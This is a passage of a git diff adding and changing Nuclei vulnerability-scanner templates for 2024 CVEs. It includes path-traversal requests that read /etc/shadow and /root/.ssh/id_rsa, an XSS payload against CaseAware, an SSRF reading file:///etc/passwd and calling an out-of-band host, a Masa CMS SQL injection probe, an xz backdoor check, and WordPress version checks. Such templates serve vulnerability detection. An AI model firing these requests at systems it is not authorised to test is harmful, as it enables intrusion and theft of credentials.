"nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/shadow' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/apache2/apache2.conf' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/mysql/my.cnf' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../var/log/syslog' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../var/log/auth.log' - - matchers-condition: or + - raw: + - | + POST /clients/MyCRL HTTP/1.1 + Host: {{Hostname}} + + aCSHELL/../../../../../../../etc/shadow + matchers-condition: and matchers: - type: regex part: body regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" + - "root:" + - "nobody:" + condition: and - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/group' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../root/.ssh/id_rsa' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/hostname' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/hosts' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" - - - method: POST - path: - - "{{BaseURL}}/clients/MyCRL" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 - body: 'aCSHELL/../../../../../../../../../../../etc/resolv.conf' - - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "cp_postgres:.*:.*:.*:.*:.*:.*:.*:" - - "postfix:.*:.*:.*:.*:.*:.*:.*:" - - "pcap:.*:.*:.*:.*:.*:.*:.*:" - - "nobody:.*:.*:.*:.*:.*:.*:.*:" + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/cve/CVE-2024-25669.yaml b/poc/cve/CVE-2024-25669.yaml new file mode 100644 index 0000000000..84ee144ab5 --- /dev/null +++ b/poc/cve/CVE-2024-25669.yaml @@ -0,0 +1,53 @@ +id: CVE-2024-25669 + +info: + name: CaseAware a360inc - Cross-Site Scripting + author: r3naissance + severity: medium + description: | + a360inc CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. This is a bypass of the fix reported in CVE-2017-> + impact: | + Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of t> + remediation: | + To remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-25669 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-25669 + cwe-id: CWE-79 + epss-score: 0.00286 + epss-percentile: 0.65504 + cpe: cpe:2.3:a:a360inc:caseaware:-:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: a360inc + product: caseaware + fofa-query: title="CaseAware" + tags: cve,cve2024,xss,caseaware,a360inc + +http: + - method: GET + path: + - "{{BaseURL}}/login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "value='test' draggable=true ondrag=alert(1)" + - "CaseAware" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a0046304402204fd5e74ee54c20db7c3cd5d1790ab78c384eddacdb1bf6ab4888e62b47bb923202202cd297fb7131e47bfcbdfb0b0fecfb9e7389b820ed1ade4c78b2789b4750b18f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2024-27564.yaml b/poc/cve/CVE-2024-27564.yaml new file mode 100644 index 0000000000..5c084baf08 --- /dev/null +++ b/poc/cve/CVE-2024-27564.yaml @@ -0,0 +1,41 @@ +id: CVE-2024-27564 + +info: + name: ChatGPT个人专用版 - Server Side Request Forgery + author: DhiyaneshDK + severity: high + description: | + A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter. + reference: + - https://github.com/dirk1983/chatgpt/issues/114 + - https://nvd.nist.gov/vuln/detail/CVE-2024-27564 + metadata: + verified: true + max-request: 1 + fofa-query: title="ChatGPT个人专用版" + tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi + +http: + - method: GET + path: + - "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd" + - "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}" + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: dsl + dsl: + - status_code == 200 + - contains(header, "image/jpeg") + - regex('root:.*:0:0:', body) + condition: and + + - type: dsl + dsl: + - contains(interactsh_protocol, "dns") + - contains(header, "image/jpeg") + - status_code == 200 + condition: and +# digest: 4a0a00473045022100b9b55cd78c5bb4e24de24aca20920e6ba2c0d52798af31282704de45a856095602206312e280926ef5b729c9178e0324d61a55b67c1ab2fb12752b2f46b3ac3dea97:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2024-2762.yaml b/poc/cve/CVE-2024-2762.yaml new file mode 100644 index 0000000000..77a7b476d4 --- /dev/null +++ b/poc/cve/CVE-2024-2762.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2762 + +info: + name: > + FooGallery (Free and Premium) < 2.4.15 - Authenticated (Author+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Best WordPress Gallery Plugin – FooGallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom Gallery Class parameter in all versions up to 2.4.15 (exclusive) due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/eeabdaae-dc77-4909-9b96-b480ccaa58fb?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-2762 + metadata: + fofa-query: "wp-content/plugins/foogallery-premium/" + google-query: inurl:"/wp-content/plugins/foogallery-premium/" + shodan-query: 'vuln:CVE-2024-2762' + tags: cve,wordpress,wp-plugin,foogallery-premium,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/foogallery-premium/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "foogallery-premium" + part: body + + - type: dsl + dsl: + - compare_versions(version, '< 2.4.15') \ No newline at end of file diff --git a/poc/cve/CVE-2024-2922.yaml b/poc/cve/CVE-2024-2922.yaml new file mode 100644 index 0000000000..dbba3971ec --- /dev/null +++ b/poc/cve/CVE-2024-2922.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-2922 + +info: + name: > + Themesflat Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Tags + author: topscoder + severity: low + description: > + The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget tags in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/1516280e-796e-4011-b15f-b754860ad414?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-2922 + metadata: + fofa-query: "wp-content/plugins/themesflat-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/themesflat-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-2922' + tags: cve,wordpress,wp-plugin,themesflat-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/themesflat-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "themesflat-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3050-bb86675d713737c48218c33c6c4f145b.yaml b/poc/cve/CVE-2024-3050-bb86675d713737c48218c33c6c4f145b.yaml new file mode 100644 index 0000000000..d31c3f5cb2 --- /dev/null +++ b/poc/cve/CVE-2024-3050-bb86675d713737c48218c33c6c4f145b.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3050-bb86675d713737c48218c33c6c4f145b + +info: + name: > + Site Reviews <= 6.11.8 - IP Address Spoofing to Blocking Bypass + author: topscoder + severity: medium + description: > + The Site Reviews plugin for WordPress is vulnerable to IP Address Spoofing in all versions up to, and including, 6.11.8 due to insufficient IP address validation and/or use of user-supplied HTTP headers as a primary method for IP retrieval. This makes it possible for unauthenticated attackers to bypass IP based blocking. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/667870b0-916d-4add-a391-ffcc177a3757?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2024-3050 + metadata: + fofa-query: "wp-content/plugins/site-reviews/" + google-query: inurl:"/wp-content/plugins/site-reviews/" + shodan-query: 'vuln:CVE-2024-3050' + tags: cve,wordpress,wp-plugin,site-reviews,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/site-reviews/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "site-reviews" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 6.11.8') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3094.yaml b/poc/cve/CVE-2024-3094.yaml new file mode 100644 index 0000000000..413ca3d822 --- /dev/null +++ b/poc/cve/CVE-2024-3094.yaml @@ -0,0 +1,62 @@ +id: CVE-2024-3094 + +info: + name: XZ - Embedded Malicious Code + author: pdteam + severity: critical + description: | + Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library. + reference: + - https://www.openwall.com/lists/oss-security/2024/03/29/4 + - https://access.redhat.com/security/cve/CVE-2024-3094 + - https://arstechnica.com/security/2024/03/backdoor-found-in-widely-used-linux-utility-breaks-encrypted-ssh-connections/ + - https://aws.amazon.com/security/security-bulletins/AWS-2024-002/ + - https://bugzilla.redhat.com/show_bug.cgi?id=2272210 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2024-3094 + cwe-id: CWE-506 + epss-score: 0.00079 + epss-percentile: 0.32887 + cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:* + metadata: + verified: true + vendor: tukaani + product: xz + tags: cve,cve2024,local,code,xz,backdoor + +self-contained: true +code: + - engine: + - sh + - bash + source: | + # find path to liblzma used by sshd + path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" + + # does it even exist? + if [ "$path" == "" ] + then + echo probably not vulnerable + exit + fi + + # check for function signature + if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410 + then + echo probably vulnerable + else + echo probably not vulnerable + fi + + matchers: + - type: word + words: + - "probably vulnerable" + + extractors: + - type: dsl + dsl: + - response +# digest: 4b0a00483046022100ac6864410c93e586885b4473cebffd245bb5c0448e7ece0ab162f92f0ecfe4f302210092315c5373e9393c838e7b5e78d7dbc755ccaf673efdb536ec799630299352e3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2024-31851.yaml b/poc/cve/CVE-2024-31851.yaml new file mode 100644 index 0000000000..e057749cbf --- /dev/null +++ b/poc/cve/CVE-2024-31851.yaml @@ -0,0 +1,62 @@ +id: CVE-2024-31851 + +info: + name: CData Sync < 23.4.8843 - Path Traversal + author: DhiyaneshDK + severity: high + description: | + A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions. + reference: + - https://www.tenable.com/security/research/tra-2024-09 + - https://nvd.nist.gov/vuln/detail/CVE-2024-31851 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L + cvss-score: 8.6 + cve-id: CVE-2024-31851 + cwe-id: CWE-22 + epss-score: 0.00044 + epss-percentile: 0.09773 + metadata: + verified: true + max-request: 1 + shodan-query: title:"CData Sync" + tags: cve,cve2024,cdata,lfi + +flow: http(1) && http(2) + +http: + - method: GET + path: + - '{{BaseURL}}/login.rst' + + matchers: + - type: word + internal: true + words: + - 'CData - Sync' + + - raw: + - | + GET /ui/..\src\getSettings.rsb?@json HTTP/1.1 + Host: {{Hostname}} + Referer: {{RootURL}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"items":[{' + - ':"true"' + - 'notifyemail' + condition: and + + - type: word + part: header + words: + - 'application/json' + + - type: status + status: + - 200 +# digest: 4b0a00483046022100842e24cc880d77226e1303cecc992eba04ec11f26e0a04b9dda1a8e79668d748022100bf52bffb2d81f6061330180b33406e553b52f778bc07ebb4365d98c249849ae6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2024-32110-cf5679b4215ff5c6109d33ef7a9492f2.yaml b/poc/cve/CVE-2024-32110-cf5679b4215ff5c6109d33ef7a9492f2.yaml new file mode 100644 index 0000000000..f8ad21cb43 --- /dev/null +++ b/poc/cve/CVE-2024-32110-cf5679b4215ff5c6109d33ef7a9492f2.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-32110-cf5679b4215ff5c6109d33ef7a9492f2 + +info: + name: > + Appsero <= 2.0.0 - Missing Authorization via handle_optin_optout + author: topscoder + severity: high + description: > + The Appsero analytics tool used in several plugins is vulnerable to unauthorized modification of data due to a missing capability check on the handle_optin_optout function in versions up to, and including, 2.0.0. This makes it possible for unauthenticated attackers to opt-in or opt-out of tracking. This was patched in version 2.0.1 of Appsero with a nonce check. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/376c5091-7921-4470-acbf-44db53db38fc?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-32110 + metadata: + fofa-query: "wp-content/plugins/subscribe2/" + google-query: inurl:"/wp-content/plugins/subscribe2/" + shodan-query: 'vuln:CVE-2024-32110' + tags: cve,wordpress,wp-plugin,subscribe2,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/subscribe2/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "subscribe2" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 10.42') \ No newline at end of file diff --git a/poc/cve/CVE-2024-32640.yaml b/poc/cve/CVE-2024-32640.yaml new file mode 100644 index 0000000000..3a719ded91 --- /dev/null +++ b/poc/cve/CVE-2024-32640.yaml @@ -0,0 +1,41 @@ +id: CVE-2024-32640 + +info: + name: Mura/Masa CMS - SQL Injection + author: iamnoooob,rootxharsh,pdresearch + severity: critical + description: | + The Mura/Masa CMS is vulnerable to SQL Injection. + impact: | + Successful exploitation could lead to unauthorized access to sensitive data. + remediation: | + Apply the vendor-supplied patch or update to a secure version. + reference: + - https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640 + metadata: + verified: true + max-request: 1 + vendor: masacms + product: masacms + shodan-query: 'Generator: Masa CMS' + tags: cve,cve2024,sqli,cms,masa,masacms + +http: + - raw: + - | + POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + object=displayregion&contenthistid=x\'&previewid=1 + + matchers: + - type: dsl + dsl: + - 'status_code == 500' + - 'contains(header, "application/json")' + - 'contains_all(body, "Unhandled Exception")' + - 'contains_all(header,"cfid","cftoken")' + condition: and +# digest: 490a0046304402205137d62a1a156eb05abb3b8cf2e25cf11515c4d7e2f7e0180a2178ad123af0d1022076a749c27251a5412b13e303a6a6724eb2c1d40dbfe236975cd2f0f1050201dd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2024-34385.yaml b/poc/cve/CVE-2024-34385.yaml new file mode 100644 index 0000000000..7a66cffe4d --- /dev/null +++ b/poc/cve/CVE-2024-34385.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-34385 + +info: + name: > + YITH WooCommerce Wishlist <= 3.32.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to 3.33.0 (exclusive) due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/603813a4-73e1-47fd-8a6c-9416d21b6c88?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-34385 + metadata: + fofa-query: "wp-content/plugins/yith-woocommerce-wishlist/" + google-query: inurl:"/wp-content/plugins/yith-woocommerce-wishlist/" + shodan-query: 'vuln:CVE-2024-34385' + tags: cve,wordpress,wp-plugin,yith-woocommerce-wishlist,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/yith-woocommerce-wishlist/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "yith-woocommerce-wishlist" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.32.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-34443.yaml b/poc/cve/CVE-2024-34443.yaml new file mode 100644 index 0000000000..10a0514cae --- /dev/null +++ b/poc/cve/CVE-2024-34443.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-34443 + +info: + name: > + Slider Revolution <= 6.7.10 - Authenticated (Author+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Slider Revolution plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 6.7.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/64852bc8-aeba-458d-9235-94bd4c4ec429?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-34443 + metadata: + fofa-query: "wp-content/plugins/revslider/" + google-query: inurl:"/wp-content/plugins/revslider/" + shodan-query: 'vuln:CVE-2024-34443' + tags: cve,wordpress,wp-plugin,revslider,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/revslider/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "revslider" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 6.7.10') \ No newline at end of file diff --git a/poc/cve/CVE-2024-34444.yaml b/poc/cve/CVE-2024-34444.yaml new file mode 100644 index 0000000000..c526b58ee7 --- /dev/null +++ b/poc/cve/CVE-2024-34444.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-34444 + +info: + name: > + Slider Revolution <= 6.6.20 - Missing Authorization + author: topscoder + severity: high + description: > + The Slider Revolution plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the init_rest_api function in versions up to 6.7.0. This makes it possible for unauthenticated attackers to update slider data. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/14feb451-2ece-467b-abf0-7abac26e40c1?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-34444 + metadata: + fofa-query: "wp-content/plugins/revslider/" + google-query: inurl:"/wp-content/plugins/revslider/" + shodan-query: 'vuln:CVE-2024-34444' + tags: cve,wordpress,wp-plugin,revslider,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/revslider/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "revslider" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 6.6.20') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35162-7b84498d99f2fd77a9d8c6d43951d0ba.yaml b/poc/cve/CVE-2024-35162-7b84498d99f2fd77a9d8c6d43951d0ba.yaml new file mode 100644 index 0000000000..6a1cc9f81b --- /dev/null +++ b/poc/cve/CVE-2024-35162-7b84498d99f2fd77a9d8c6d43951d0ba.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35162-7b84498d99f2fd77a9d8c6d43951d0ba + +info: + name: > + Download Plugins and Themes from Dashboard <= 1.8.5 - Authenticated (Admin+) Arbitrary File Download + author: topscoder + severity: low + description: > + The Download Plugins and Themes in ZIP from Dashboard plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.8.5 via the download_theme function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/9adfc632-2e47-4fea-ad87-41840cdab225?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N + cvss-score: 4.9 + cve-id: CVE-2024-35162 + metadata: + fofa-query: "wp-content/plugins/download-plugins-dashboard/" + google-query: inurl:"/wp-content/plugins/download-plugins-dashboard/" + shodan-query: 'vuln:CVE-2024-35162' + tags: cve,wordpress,wp-plugin,download-plugins-dashboard,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/download-plugins-dashboard/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "download-plugins-dashboard" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.8.5') \ No newline at end of file diff --git 